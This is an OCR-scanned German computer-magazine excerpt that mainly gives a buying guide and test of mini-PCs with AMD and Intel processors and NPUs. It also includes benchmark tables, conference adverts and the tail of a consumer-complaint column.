weiteren Antwort darauf, dass auf dem
Konto weit iiber ein Jahr keine Aktivitaten
stattgefunden hatten und man deshalb
nach den eigenen AGB schon lingst be-
rechtigt gewesen wire, es zu schliefden.
Den Grund fiir eine Inaktivitat konne man
nicht wissen. Immerhin riumte man ein,
dass man im Fall B. kulanter hitte sein
konnen. Man habe diesesin seinen Hand-
lungsanweisungen bereits nachgebessert.
Dass  Anspriiche im Allgemeinen nicht
nach einem, sondern erst nach

drei Jahren verjahren und man

das per AGB kaum verkiirzen

also auch nicht auf dem Schirm
zu haben.

‘ 0 i _‘l kann, scheinen die Lottohelden

s Kurz vor Redaktions-
“““ schluss teilte uns Jochen B.

mit, dass seine Mutter inzwi-

schen das Geld auf ihrem

Konto erhalten hitte. Bleibt zu hoffen,
dass die Lottohelden sich im Umgang mit
den Angehorigen fritherer Kunden kiinftig
tatsachlich angemessener verhalten wer-
den. Immerhin diirften die Chancen dafiir
etwas besser stehen, als tatsachlich einen
Jackpot zu knacken. (tig@ct.de) c&

Kunde!” berichten wir liber solche Ent-
gleisungen, Ungerechtigkeiten und du-
biose Geschéftspraktiken. Damit erfahren
Sie als Kunde schon vor dem Kauf, was
Sie bei dem jeweiligen Unternehmen er-
warten oder manchmal sogar beflirchten
mussen. Und womoglich veranlassen
unsere Berichte ja auch den einen oder
anderen Anbieter, sich zuklinftig etwas
kundenfreundlicher und kulanter zu ver-
halten.

Falls Sie uns eine solche bose Erfah-
rung mitteilen wollen, senden Sie bitte
eine chronologisch sortierte knappe
Beschreibung lhrer Erfahrungen an:
vorsichtkunde@ct.de.
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Verschwindi-
busse

Kaufberatung: Schnelle, sparsame Mini-PCs
mit aktuellen Prozessoren von AMD und Intel

Mini-PC-Kaufberatung
Mini-PC-Test
Mini-PC-Bauvorschlag
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Mini-PCs | Titel

Minicomputer machen sich auf dem Schreib-
tisch nahezu unsichtbar und liefern trotzdem
viel Rechenleistung. Die neuesten Gerate ent-
halten auBBer vielen CPU-Kernen auch Kl-Be-
schleuniger: der Stand der Mini-PC-Technik.

Von Christof Windeck und Carsten Spille

leine Desktop-PCs sind beliebt.

Denn sie bieten die Vorteile eines

Notebooks ohne dessen Nachteile,
wenn man damit nur stationar arbeitet.
Zusammen mit einem grofden, hohenver-
stellbaren Bildschirm auf dem Schreib-
tischund einer ordentlichen Tastatur sind
sie ergonomischer als ein Notebook. Ein
Mini-PC verschwindet zudem auf Wunsch
hinterm Display oder unter der Tischplat-
te. Und anders als schicke Flachnotebooks
kann man die meisten Mini-PCs leichter
auf- oder umriisten; zudem bekommt man
dieselbe Rechenleistung auch etwas giins-
tiger als beim Mobilgerit.

Da bleibt nur eine Frage offen: Wel-
cher soll es sein? Unser Leitfaden gibt
Ihnen alle wichtigen Informationen und
Einordnungen an die Hand, um die fiir Sie
optimale Mini-PC-Hardware zufinden. Im
zweiten Artikel dieser Strecke ab Seite 64
testen wir sechs aktuelle Mini-PCs und
-Barebones mit Prozessoren von AMD und
Intel samt integrierter KI-Beschleuniger.
Wer lieber die grofitmogliche Freiheit
mochte und vor dem selber Basteln nicht
zuriickschreckt, fir den haben wir ab Seite
64 einen sparsamen, flotten, aber vor
allem flexiblen Bauvorschlag im Minifor-
mat im Angebot.

Im Wandel

Bei Mini-PCs hat sich im Verlauf des ver-
gangenen Jahres viel verandert. Einer-
seits sind neue Prozessorgenerationenim
Rennen, andererseits hat Intel die NUC-
Sparte an Asus verkauft. Intels ,,Next Unit
of Computing” (NUC) war stilpragend,
auch die Kleinrechner anderer Firmen
orientieren sich am typischen Quader-
design auf quadratischer Grundflache mit
rund 12 Zentimeter Kantenldange. Asus
fihrt die Serie weiter, den NUC 14 Pro
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mit Core Ultra 100 haben wir bereits in
[1] getestet.

Damit sind wir schon bei den neuen
Prozessorenvon AMD und Intel. Bei AMD
ist weniger neu, als man meinen konnte:
Die aktuelle Baureihe Ryzen 8040 isteine
fast unveranderte Neuauflage der Anfang
2023 vorgestellten Familie Ryzen 7040.
Beide haben vier bis acht CPU-Kerne,
einenrelativleistungsstarken integrierten
Grafikprozessor (IGP) sowie einen einge-
bauten Rechenbeschleuniger fiir KI-Al-
gorithmen, also eine Neural Processing
Unit (NPU). Aufletztere gehen wir unten
genauer ein.

Ryzen7040 und 8040 kommen meis-
tens als Sechs- oder Achtkerner zum Ein-
satz, die Leistungsunterschiede zwischen
den Generationen sind minimal. Wichti-
ger ist die Abwirmeklasse, also die Ther-
mal Design Power (TDP). Sie beeinflusst,
wie viel Rechenleistung unter Volldampf
aufallen Kernen bereitsteht. Wer hiufiger
Fotos oder Videos aufwendig bearbeitet
oder KI-Apps nutzen mochte, ist mit einem
Ryzen der TDP-Klassen H, HS oder HX
(35bis 54 Watt) besser bedient. Unter Voll-
last kann es dann aber auch lauter werden,
wenn der jeweilige Mini-PC-Entwickler
nicht vorgesorgt hat. Leiser bleiben die
CPU-Kithler eher aufden sparsameren ,,U*-
CPUs, aber die sind eben auch schwicher.

Auf die hochsten Turbostufen, also
die Rechenleistung bei nur einem oder
wenigen belasteten CPU-Kernen, hat die
TDP-Klasse hingegen keinen Einfluss.
Denn dabei schopfen die Prozessoren ihr
thermisches Budget nur zum Teil aus.
Hohe Singlethreading-Performance, die
beispielsweise Office-Software und Brow-
ser flott reagieren ldsst, liefern also auch
die U-Typen.

Intels aktuelle Mobilprozessoren hei-
3en Core Ultra 100 alias Meteor Lake. Sie
sind aus mehreren Chiplets zusammen-
gesetzt und enthalten ebenfalls eine NPU
sowie einen vergleichsweise kraftige IGP.

Fiir schnelle Actionspiele in hohen Auf-
l6sungen ist die Grafikeinheit dennoch zu
schwach.

In puncto CPU-Turboleistung bringen
die Core Ultra 100 keinen Vorteil gegen-
iiber ihren Vorgiangern wie dem Core i9-
14700H. Die ,,dicken Core Ultra 100
haben aber ziemlich viele CPU-Kerne und
konnen bei Multithreading schneller sein,
wenn die jeweilige App tatsdchlich derma-
3en viele Kerne ausreizt.

Achtung: Zwischen den Core Ultra
100 in den TDP-Klassen U und H gibt es
einen sehr wichtigen Unterschied. Denn
die U-Typen haben nurje zwei der starken
Performance-(P-)Kerne, die restlichen
sind schwichere Effizienz-(E-)Kerne. Die
H-Typenhaben mindestensvier P-Kerne,
abdem Core Ultra7 155H sogar sechs. Wir
raten beim Kauf eines neuen Desktop-
PCs, der mehrere Jahre lang Dienst tun
soll, zu mindestens vier P-Kernen. Wie
beim Ryzen gilt jedoch: Je hoher die TDP,
desto schneller rotiert der Liifter unter
Volllast.

Es gibt auch etwas grofdere Mini-PCs,
in denen jeweils ein Mainboard mit einer
Wechselfassung fiir einen Desktop-PC-
Prozessor steckt. Wer das volumindsere
Gehiuse und ein klobige Netzteil in Kauf
nimmt, bekommt mehr Rechenleistung
pro Euro und kann sein Gerit flexibler be-
stiicken. Viele Business-PCs von Dell, HP
und Lenovo verwenden diese Bauform.

Giinstig und beliebt sind die Barebo-
nes der Baureihe Asrock DeskMini. Sie
sind fiir Desktop-CPUs der TDP-Klasse
bis 65 Watt ausgelegt. Teurere Sparprozes-
soren lohnen sich nicht mehr, weil man
den Stromdurst praktisch aller Typen per
configurable TDP (cTDP) im BIOS-Setup
senken kann, beispielsweise auf 45 oder
35 Watt. Dadurch sinkt zwar die Multi-
threading-Performance um rund 10 Pro-
zent, aber die Kiihlung bleibt auch unter
Last eherleise. Dennochist esratsam, den
Kiihler geschickt auszuwihlen, siehe un-
sere diesbeziiglichen Bauvorschlége [2, 3].
Mit dem Ryzen 8000G gibt es mittlerwei-
le auch einen Desktop-Prozessor mit ein-
gebauter KI-Einheit.

KI-Chaos

Die erwahnten Neural Processing Units
sind dazu gedacht, KI-Algorithmen lokal
und effizient auszufiihren. Sie zielen nicht
aufmaximale KI-Rechenleistung, sondern
auf Funktionen, die kontinuierlich laufen,
etwa das Unscharfrechnen des Bildhinter-
grundes bei Videokonferenzen.
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Der Mac Mini braucht deutlich mehr Stellflache als viele andere
Mini-PCs, allerdings baut Apple das Netzteil darin ein.

Die AMD-und Intel-NPUs der ersten
Generation sind relativ leistungsschwach,
AMD kampft anderthalb Jahre spiter
immer noch mit den Treibern. Bei Note-
books konnen sie aber schon jetzt helfen,
die Akkulaufzeit zu verlangern und die
Liifter leise zu halten. Mini-PCs profitie-
ren im Wesentlichen von Letzterem.

Die hochste KI-Performance bringen
bei Ryzen7040/8040 und Core Ultra100
jeweils die IGP-Kerne. Die stehen dann
aber auch unter hoher Last und schlucken
mehr Strom als NPUs. AMD und Intel
haben ihre jiingsten IGPs auch fiir KI-Al-
gorithmen und allgemeine Berechnungen
optimiert. Anders ausgedriickt: Altere
IGPssind in diesen Disziplinen schwécher.
Wenn Sie also erwarten, KI-Apps in Zu-
kunft 6fter lokal zu nutzen, etwa Foto-und
Videotools, Ubersetzer oder Transkri-
bierer, sind Sie mit einem aktuellen Mini-
PC besser bedient.

Welche NPU besser ist, lidsst sich bis-
her kaum serios messen [4]. Unsere ersten
Versuche mit Benchmarks zeigen einer-
seits, dass es dabei ganz konkret auf die
jeweilige App und das Geschick der Ent-
wickler ankommt. Andererseits ist bei
Treibern und Programmierschnittstellen
(APIs) noch viel im Fluss, manches Up-
date sorgt fiir grofdere Leistungsspriinge.

Wer schon weif3, dass er viel und in-
tensiv mit KI-Apps arbeiten wird, vielleicht
sogar KI-Modelle rechenaufwindig selbst
trainieren oder hochauflosende Bilder er-
stellen mochte, sollte statt eines Mini-PCs
besser einen Tower-PC wihlen. Denn dort
passt eine starke Grafikkarte hinein, die
sich in einem grofleren Gehause leichter
leise kithlen und bei Bedarf auch gegen ein
leistungsstiarkeres Modell austauschen
lasst. Fir KI-Anwendungen sind Nvidia-
GPUs besser geeignet als die Grafikchips
von AMD und Intel, da viele KI-Anwen-
dungen standardmif3ig auf der verbreite-
ten, aber Nvidia-eigenen CUDA-Schnitt-
stelle aufsetzen.
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Die Ausnahme von der Regel sind
Apple-Rechner. Denn die hauseigenen
»M“-Prozessoren enthalten nicht nur
NPUs, von Apple Neural Engine genannt,
sondern auch vergleichsweise starke IGPs
mit schneller RAM-Anbindung. Wer also
hauptsichlich deshalb einen neuen PC
kaufen mochte, um eine auch fiir macOS
erhiltliche App mit KI-Funktionen zu nut-
zen, sollte den Mac mini in Erwagung zie-
hen. Erist bisher allerdings noch nicht mit
dem aktuellen M3 erhiltlich, sondern
maximal mit dem M2 Pro. Der Mac mini
hat eine erheblich groere Grundflache als
etwa ein Asus NUC, allerdings ist das
Netzteil bereits eingebaut und fliegt nicht
loseinder Gegend herum wie bei fast allen
anderen Minis.

Esgibt auch eine Reihe von etwas gro-
3eren Mini-PCs mit diskreten Grafikpro-
zessoren oder steckbaren Grafikkarten.
Abgesehen von wenigen teuren Mini-
Workstations sind diese fiir Spieler ge-
dacht. Ein grofder Desktop-PC ab Micro-
ATX-Format bietet dieser Zielgruppe aber
ein viel besseres Preis-Leistungs-Verhalt-
nis und weitere Vorteile. Denn viele Ga-
ming-Minis kann man nur eingeschrinkt
erweitern und aufriisten, manche werden
unter Last auch sehr laut.

Billig oder alt?

Bisher sind noch nicht sonderlich viele
Mini-PCs mit AMD Ryzen 7040, 8040
und Core Ultra 100 auf dem Markt; offen-
bar haben es die Hersteller nicht eilig. Fiir
viele typische Einsatzbereiche von Mini-
PCs geniigen auch welche mit dlteren und
schwicheren Prozessoren oder gebrauch-
te Gerdte. Sofern es nicht um KI geht,
kann man den ein oder anderen Euro
sparen.

Von Billigheimern mit alteren Intel-
Prozessoren der Baureihen Celeron N,
Celeron Jund Pentium Silver raten wir ab.
Sie sind sehrlahm, wie auch unsere Tabel-
le unten zeigt. Dann nimmt man besser

einen Gebrauchten: Ab etwa 150 Euro ver-
kaufen spezialisierte Handler von Grof3-
firmen ausrangierte Office-Gerite der
Marken Dell, Fyjitsu, HP und Lenovo.
Wenn darin ein Core i ab der Baureihe
8000 rechnet, taugen die Gerite meistens
auch fiir Windows 11. Das ist wichtig, weil
der Support fiir Windows 10 im Oktober
2025 endet - fein rausist, wer Linux nutzt.
Wir raten mindestens zu einem Quad-
Core, es sollte also ein Core i5 oder Ryzen
5 sein.

Viele besonders glinstige Neugerite
sind mit dem seit zwei Jahren erhiltlichen
»Intel Prozessor N100“ bestlickt. Er ent-
stammt der Baureihe Alder Lake-N, zu
der etwa auch N97, N200 und Core i3-
N300 gehoren. Diese Prozessoren haben
nur E-Kerne und fiihlen sich deshalb bei
Singlethreading-Software wie Office-
Apps und Browsern deutlich lahmer an
als aktuelle Chips. Alle vier E-Kerne des
N100 zusammen leisten aber Ahnliches
wie der achtJahre alte Doppelkerner Core
i3-8100. Dabei bringt der N100 eine zwar
nicht sonderlich starke, aber moderne
IGP mit, die Hardwaredecoder fiir aktu-
elle Videoformate wie VP9 und AV1 ent-
halt - ein Vorteil gegentiiber Gebraucht-
gerdten, wenn man hiufig Onlinevideos
in guter Qualitat schauen mochte. Aufder-
dem steuert ein N100O bis zu drei Moni-
tore mit 4K-Auflosung und ergonomi-
schen 60 Hertz Bildrate gleichzeitig an
und beherrscht zudem USB 3.2 Gen 2 mit
10 Gbit/s, wenn es der jeweilige PC-Her-
steller richtig umsetzt.

Einen N100-Barebone kann man ab
rund 160 Euro kaufen, zusammen mit 8
GByte RAM und einer 256-GByte-SSD
bleibt man unter 200 Euro - plus Win-
dows-Lizenz, falls erwiinscht. Fiir 50 bis
80 Euro mehr finden sich auch liifterlos
gekiihlte, also gerauschlose N100-Bare-
bones. Eine Besonderheit ist der Mele
Quieter4C, der sich aus einem USB-C-
Netzteil oder einer Powerbank speisen
lasst [5].

Ausbaufihig

Fast alle Mini-PCs haben zwei interne
Steckfassungen flir Small-Outline-DIMMs
(SO-DIMMs), also Notebook-Speicherrie-
gel. Gingig sind derzeit die Typen DDR4-
3200 oder DDR5-4800 und bis zu 32
(DDR4) respektive 48 GByte pro Modul.
Man kann also bis zu 96 GByte in den Mini
packen. Die N100-Rechner haben nur je
einen SO-DIMM-Slot, manche steuern
offiziell hochstens 16 GByte an. Fiir einen
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0,0/158 GB onerse

PCI bus 0, device 11, function 0

Bei Intel (und Qualcomm) kann man sich im Taskmanager die NPU inklusive Auslas-
tung anzeigen lassen. Bei AMD Ryzen-CPUs mit Ryzen Al versteckt sie sich als AMD

IPU Device unter den Systemgeriten.

zukunftssicheren Betrieb empfehlen wir
bei Desktop-PCs 16 GByte und mehr.
Fast immer ist mindestens eine M.2-
Fassung fiir eine 8 Zentimeter lange
NVMe-SSD (2280) vorhanden, um den am
besten 1 TByte oder mehr fassenden Mas-
senspeicher aufzunehmen. Manchmal fin-
detsichauchnoch ein M.2-2242-Slot oder
ein 2,5-Zoll-Einbauplatz fiir eine SATA-
SSD oder eine altertiimliche mechanische
Festplatte. 3,5-Zoll-Platten passen nicht
hinein und miissen bei Bedarf in einem

externen USB- oder Thunderbolt-Gehau-
se unterkommen.

Bei manchen Minis lasst sich der
WLAN-Adapter tauschen, dann steckt er
in Form eines M.2-2230-Kartchens drin.
Oft ist WLAN inzwischen aber fest ver-
baut.

Fiir andere PCI-Express-Karten fehlt
in den meisten Minis der Platz, eine Aus-
nahme sind die bereits erwahnten teuren
Gaming-Minis. Mehrere chinesische Mini-
PC-Firmen verkaufen Modelle, an die sich

Mini-PC-Tests in c't: Weiterhin lieferbare Gerate

Hersteller | Produkt

iiber die standardisierte OCuLink-Buchse
ein externes Dock fiir eine PCle-Grafik-
karte anschliefden ldsst. Solche externen
und in der Regel sehr teuren Docks haben
wirnoch nicht getestet. Auch an Minis mit
Thunderbolt 3/4 oder USB4 lassen sich
PCle-Karten iiber Zusatzboxen koppeln,
aber auch die sind oft so teuer, dass sich
der Kauf selten lohnt.

Die billigeren Mini-PCs haben oft
noch 1-Gigabit-Ethernet und Wi-Fi 5 mit
nur einem Stream, das reicht knapp fiir
DSL mit 100 MBit/s. Bessere Gerite
haben Wi-Fi 6 mit mehreren Streams und
2G5-Ethernet. Die ersten Modelle bringen
bereits Wi-Fi 7 mit und einzelne auch
schon 5-Gbit/s-Ethernet.

Noch immer kommen Mohren auf
den Markt, die USB nur in der 16 Jahre
alten Geschwindigkeitsklasse USB 3.2
Gen 1 alias USB 3.0 mit 5 Gbit/s beherr-
schen. Dariiber schafft auch eine noch
so schnelle USB-SSD hochstens 480
MByte/s. Wenigstens sollte es USB 3.2
Gen 2 mit 10 Gbit/s geben, das liefert im-
merhin 1 GByte/s. Zeitgemafd ist USB4
mit bis zu 40 Gbit/s und DisplayPort Al-
ternate Mode; daran konnte man auch ein
Dockanschlieflen oder einen USB-C-Mo-
nitor.

Einige wenige Mini-PCs lassen sich
alternativ auch per USB-C PowerDelivery
(USB-PD) mit Strom versorgen. Dazu ge-
horen etwa die Gerite der Asus-Baureihe
ExpertCenter, aber etwa auch der liifter-
lose Mele Quieter4C.

Um- und Anbau

Liifterlose Mini-PCs versprechen einen
lautlosen Betrieb, kosten aber tendenziell

| Typ (RAM / SSD in Gigabyte)

‘ Besonderheiten

‘ Preis (circa) c¢'t-Ausgabe

Hardkernel
Asrock
MeLE

ECS

Zotac
diverse
Zotac
ChangWang
Asus

Intel

Apple
Cirrus7

HP

Lenovo
Compulab
Minisforum
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Odroid-H4+
DeskMini X600
Quieter 4C

Liva Z5 Plus

Zbox Edge C1343
DeskMini X300

ZBox pico PI430AJ
CWWK N100
ExpertCenter PN42
NUC 13 Pro

Mac mini (2023)
nimbus v5

Pro Mini 260 G9
ThinkCentre M75q-2 Tiny
Fitlet3

Neptune Series NAD9

Intel N97

AM5, max. 65 WTDP
Intel N100

Intel Core i5-1335U
Intel N100

AMD Ryzen 7 5700G
Intel Core i3-N300
Intel N100

Intel N100

Intel Core i7-1360P
Apple M2

Intel Core i5-13500T
Intel Core i5-1235U
AMD Ryzen 5 PRO 5650GE
Intel Atom x6425E
Intel Core i9-12900H

Board (— / — ), Gehduse optional
Barebone (— / —)
Komplett-PC (16 / 2 X 256)
Barebone (—/ —)

Barebone (—/ —)
c't-Bauvorschlag (16 / 1024)
Komplett-PC (8 / 512)
Barebone (—/ —)

Barebone (—/ —)

Barebone (— / — ), auch als PC
Komplett-PC (16 / 256)
Komplett-PC (16 / 512)
Komplett-PC (8 / 256)
Komplett-PC (8 / 256)
Barebone (— / — ), auch als PC
Barebone (—/ —)

liifterlos, 2 X 2,5G-Ethernet 240 € c't 16/2024, S. 92
ohne CPU, 2 X M.2 +2 x SATA 210 € c't 13/2024,S.62
liifterlos, USB-C-Speisung 300 € c't 8/2024,S.96

2 X 2,5G-Ethernet 685 € c't4/2024,S. 66
liifterlos 240 € c't2/2024,S.70
ohne Windows-Lizenz 490 € 't 28/2023,S. 32
Ultraschallkiihler, winzig 560 € c't27/2023,S. 68
liifterlos, 4 % 2,5G-Ethernet 280 € €'t 24/2023,S.92
liifterlos, USB-C-Speisung 240 € ¢'t19/2023,S.74
mit Core i5-1340P 480 € 630 € 't 23/2023,S.72
mac0S 850 € ¢'t 1072023, S. 106
liifterlos, konfigurierbar 1520 € €'t 10/2023,S.106
jetzt mit Core i5-1335U 535 € 't 10/2023, S. 106
jetzt mit Ryzen 5 5600GE 450 € ¢'t 10/2023, S. 106
liifterlos, viele Anschliisse 345 € €'t8/2023,S.70

- 480 € c't8/2023,S.72
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Titel | Mini-PCs

mehr und haben oft auch langsamere
CPU-Varianten, die sich leichter kiihlen
lassen. Eine Alternative dazu ist das Um-
topfen der Hauptplatine in ein Gehiuse,
dessen Winde mit dicken Alurippen
gleichzeitig als Kiihler dienen. Die Firma
Akasa verkauft maf3geschneiderte Passiv-
kiihlgehause fiir einige NUCs von Intel
und nun auch von Asus. Der Umbau setzt
ein wenig Bastelgeschick voraus und die
Gehause sind nicht ganz billig [6].

Bei vielen Minis liegen Halterungen
im Karton, um sie an VESA-kompatiblen
Monitorhalterungen zu befestigen. Wie
gut und komfortabel das gelingt, hangt
vom vorhandenen Display ab - nicht alle
haben iiberhaupt VESA-Gewindeboh-
rungen. Um sowohl Display als auch
Minirechner an eine Tischhalterung fiir
Monitore zu schrauben, finden sich im
Handel diverse Adapterwinkel. Vorteil
dieser Verschwindibusse: Gegeniiber
dem Betrieb auf dem Tisch senkt die
Hinter-Monitor-Montage den Larmpegel
deutlich.

Der Nachteil dieser Montageweise ist,
dass man schlecht an USB-Buchsen, ein-
gebaute Speicherkartenleser und den Ein-
schalttaster des Rechners herankommt.
Abhilfe schafft das Einschalten aus dem
Ruhezustand per Tastatur, sofern diese
per Kabel angeschlossen ist. Zur Not hilft

eine Schaltsteckdose sowie die Einstel-
lung von ,,Power On after AC Power Loss"
(oder dhnlich) im BIOS-Setup. Falls der
verwendete Monitor keinen integrierten
USB-Hub und besser erreichbare Buchsen
hat, schlief3t man einen separaten Hub an.
Passende Gerite leiten USB 3.2 Gen 2 mit
10 Gbit/s durch oder auch USB4 - anders
als viele Monitore.

Chinesische Risiken

Bei Amazon und auf chinesischen Online-
marktplitzen wie AliExpress finden sich
Mini-PCs in grof3er Auswahl und oft sehr
glinstig. Sie bergen aber einige Risiken.
Viele der Amazon-Offerten stammen
nicht von Amazon selbst, sondern von an-
deren Handlern auf dem Amazon-Markt-
platz (Marketplace). Der Kaufvertrag
kommt dann mit einem Héandler zustande,
der moglicherweise im Nicht-EU-Ausland
sitzt, zum Beispiel in China. Dann kann es
schwierig werden, im Streitfall Gewihr-
leistungsrechte einzufordern. Immerhin
bekommt man bei Amazon relativ leicht
den Kaufpreis zuriick, wenn das Gerit
nicht gefallt oder in den ersten Wochen
ausfillt.

Immer wieder schreiben uns c’t-Leser
allerdings, dass manche chinesischen
Handler keinen langerfristigen Support
leisten. Manchmal ist schon die Suche

Performance aktueller Mobilprozessoren

Prozessor Kerne / maximaler Cinebench R23 1T/MT [Punkte] Cinebench 2024 1T/MT [Punkte]
Threads Turhotakt

nach Windows-Treibern nervig, viele Ge-
rate bekommen niemals BIOS-Updates -
obwohl recht haufig Sicherheitsliicken im
UEFI-BIOS aufgedeckt werden. Mit dem
BIOS-Feinschliffnehmen esviele der hier-
zulande unbekannteren Mini-PC-Herstel-
ler nicht so genau. Schon hiufiger fiel uns
etwa auf, dass ein AMI-BIOS aufgespielt
wurde, das keinen vertrauenswiirdigen
Platform Key (PK) enthilt. Dann drohen
Einschrinkungen bei UEFI Secure Boot
[7]. Hier fahrt man mit einem Mini-PC
eines renommierten Herstellers besser.
(csp@ct.de) c&
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besser P> besser p>
M3 Max Apple 12P+4E / 16 4,05 GHz 8W I (885/23811 I 141/1483
Snapdragon X Elite? Qualcomm 12P/ 12 4,3 GHz k.A. —/- I 133/1149
Core Ultra 9 185H Intel 6P+8E+2LP /22 5,1 GHz 45W I 1859/17299 I 110/944
Ryzen 9 8945HS AMD 8P/ 16 5,2 GHz 45w I 1807/16469 I 107/947
Ryzen 7 7840HS AMD 8P/ 16 5,1 GHz 45W I 1676/15540 I 101/906
M3 Pro Apple 6P+6E / 12 4,05 GHz 21W I 1980/15128 I 145/1005
Core i9-13900H Intel 6P+8E / 20 5,4 GHz 45W I 1965/14504 I 113/723
Ryzen 7 7840U AMD 8P/ 16 5,1 GHz 25W I 1735/13810 I 105/782
Snapdragon X Elite® Qualcomm 12P/ 12 4,3 GHz k.A. I 1313/11167* I 123/1024
M3 Apple 4P+4E / 8 4,05 GHz 20W I 1903/10479 I 141/746
Ryzen 7 7735U AMD 8P/ 16 4,75 GHz 28W I 1515/10392 —/-
Core Ultra 7 155H Intel 6P+8E+2LP / 22 4,8 GHz 28W I 1745/10311 I 104/574
Core i5-1345U Intel 2p+8E/ 12 4,7 GHz 15W I 1544/9711 I 99/362
Ryzen 5 7540U AMD 6P/ 12 4,9 GHz 25W I 1536/9571 I 93/535
Core i7-1360P Intel 4p+8E/ 16 5,0 GHz 28W I 1684/9192 I 09/487
Ryzen 7 7730U AMD 8P/ 16 4,5 GHz 15W I 1469/9055 I 86/522
Ryzen 5 Pro 6650U AMD 8P/ 16 4,5 GHz 28W I 1462/8128 —/=
Ryzen 3 7320U AMD 4/ 8 4,1 GHz 15W I 1111/4944 —/=
Core i3-N305 Intel 8E/8 3,8 GHz 15W I 990/4636 —/=
SQ3 (Snapdragon 8CX Gen3) ' Qualcomm 4P+4E/ 8 3,0 GHz 15W I 602/3665 -/-
N100 Intel 4/ 4 3,4 GHz 6w W 814/2416 . 59/155
Celeron N5100 Intel 474 2,8 GHz 6w I 580/1803 —/=

TDP: Thermal Design Power, individueller Wert hangt vom jeweiligen Gerat ab,

zudem hdhere Leistungsaufnahme im Turbofenster maglich

56

2 Qualcomm-Prototyp
® Snapdragon X1E-80-100 im Dell XPS 13

* keine native ARM-Anwendung, lauft in der Prism-Emulation mit verringerter Leistung
k.A. keine Angabe

— nicht gemessen
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Die Konferenz fur Developer Experience, Platform Engineering und mehr

Die CLC setzt 2024 rund um das Container-Okosystem Themenschwerpunkte
zu Kl-gestttztem DevOps, Security und FinOps sowie Nachhaltigkeit.

Highlights aus dem Programm:

Pipeline als Produkt denken: Modularisierung, Versionierung, Testen, ...
Der Kl-gestitzte Entwickler - Tools, Datenschutz, Mindset
Sicherheitsrisiken von CI/CD-Systemen erkennen und vermeiden
Nachhaltigkeit in der Cloud - Herausforderungen meistern

» Praxisbericht: Ressourcen reduzieren und Cloud-Kosten senken

Veranstalter Gold-Sponsoren
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devSec()

Die Konferenz fiir sichere
Software- und Webentwicklung

25.-26. September 2024 « Koln

Sichere Software beginnt vor der ersten Zeile Code

Die heise devSec 2024 richtet sich an IT-Profis, die das Thema Security im Blick haben
und sich den damit verbundenen Herausforderungen stellen missen.

Aus dem Programm:

1
1
"
"
"

XZ-Backdoor und ihre Auswirkungen auf die Software Supply Chain
Ein Sicherheits-Pattern fir Web-APIs

Passkeys in die eigene Anwendung integrieren

SBOMs in der Praxis

Ki-unterstutzte, sichere Softwareentwicklung: Starken und Schwachen

Workshops am 24. September

Veranstalter Gold-Sponsoren

c LA e
i%:::"“-‘”;“-‘-‘- @heise Security . dpunkt.verlag ChECkmaIx (: Contrast

Silber-Sponsor

Cfx Giant Swarm

heise-devsec.de
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Ein kleines bisschen schlau

Sechs Mini-PCs mit AMD- und Intel-Prozessoren im Test

Sechs Mini-PCs und Barebones
mit aktuellen Prozessoren von
AMD und Intel miissen zeigen,
ob sie nicht nur besonders klein
sein kénnen, sondern auch spar-
sam, leise und flott.

Von Carsten Spille

ini-PCs stehen hoch im Kurs. Im
Homeoffice verschlingen sie nur
wenig Platz, man kann sie be-

58

quem hinter dem Monitor oder unter der
Schreibtischplatte verschrauben und fiir
die meisten Nutzer bringen sie genug Leis-
tung mit. Die neueste Riege des Jahrgangs
2024 der kleinen Klotze hat dariiber hin-
aus eine dedizierte KI-Einheit an Bord, die
nicht nur den Zugang zu Anwendungen
mit kiinstlicher Intelligenz erlaubt, son-
dern diese auch noch besonders strom-
sparend ausfiihrt.

Wirhaben uns alle zu Beginn der Tests
im Juni 2024 verfiigbaren Mini-PCs und
Barebonesins Labor geholt, die iiber einen
aktuellen Intel- oder AMD-Prozessor mit
den KI-Beschleunigern Intel Al Boost oder
AMD Ryzen Al verfiigen. Von den sechs
Testkandidaten kamen zwei als betriebs-
bereite Komplettsysteme inklusive Ar-
beits- und Massenspeicher sowie einem

vorinstallierten Windows 11 in der Pro-
Version: der von Geekom und der von Mi-
nisforum. Die restlichen Systeme muss der
Nutzer selbst mit Speicherriegeln, einer
SSD und einem Betriebssystem ausstatten.
In keinem der vier Fille stellt das eine
bastlerische Herausforderung dar, sodass
auch Ungelibte ohne Bedenken zu einem
Barebone greifen konnen.

Im Einzelnen haben wir von Asrock
Industrial die NUC BOX-155H, Asus’ NUC
14 Pro, den Minisforum Atomman X7 Ti-
tanium und Zotacs ZBox Nano CI671 mit
Intels Core Ultra-100-Prozessoren getes-
tet. Dazu kamen der Geekom A8 und Zo-
tacs ZBox Edge MA762 mit AMD-Ryzen-
CPUs. Billig-CPUs und damit sehr glinsti-
ge Mini-PCs gibt es mit KI-Einheit bisher
nicht, sodass unser Testfeld bei rund 500

c't 2024, Heft 17
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Euro fiir die ZBox Edge startet,am oberen
Ende aber unter tausend Euro bleibt.

Ausstattung

Alle Testkandidaten steuern via HDMI,
DisplayPort und USB-C mit DP-Alt-Mode
mindestens drei, die von Asrock, Asus,
Geekom und Minisforum auch vier 4K-
Bildschirme mit augenfreundlichen 60
Hertz an. So finden auch ausladende
Office-Umgebungen mit vielen zugleich
angezeigten Fenstern genug Platz.

Aufder bei den Zotac-Barebones
iibertragen die Netzwerkchips flotte 2,5
Gbit/s, was netto einer Transferrate von
rund 300 MByte/s entspricht — mehr als
herkommliche Festplatten zu liefern im-
stande sind. Die NUC-BOX 155H von As-
rock Industrial hat zwei dieser schnellen
Buchsen, der Minisforum Atomman X7 Ti
ebenfalls und die reizen mit je 5 GBit/s
auch eine SATA-SSD im NAS gut aus.

Wir haben darauf geachtet, dass bei
allen Kandidaten mindestens ein schneller
USB-Anschluss gut zuginglich auf der
Frontseite montiertist. Eine Typ-A-Buch-
se,die rund 1 GByte/sliestund schreibtist
bei allen vorhanden. Ebenso haben alle
eine universellere, verdrehsichere C-
Buchse auf der Vorderseite, nur die ZBox
Nano von Zotac nicht.

Bei Asrock und Asus ,,spricht® eine
C-Buchse schnelles Thunderbolt 4, USB4
ist es bei Geekom, Minisforum und der
ZBox Edge. Den beiden letztgenannten
konnten wir im Test jedoch nur rund 1,9
GByte/s statt der zu erwartenden knapp 4
GByte/s entlocken. Der Geekom schaffte
per USB4 3,8 GByte beim Lesen und 3,7
GByte/s beim Schreiben. Die Thunder-
bolt-Portslasen ebenso schnell, schrieben
aber nur mit 3,2 GByte/s. Der Minisforum
Atomman X7 Ti bringt zusétzlich eine
OCulink-Buchse mit, an die man ein 90
Euro teures Dock fiir eine aufsteckbare
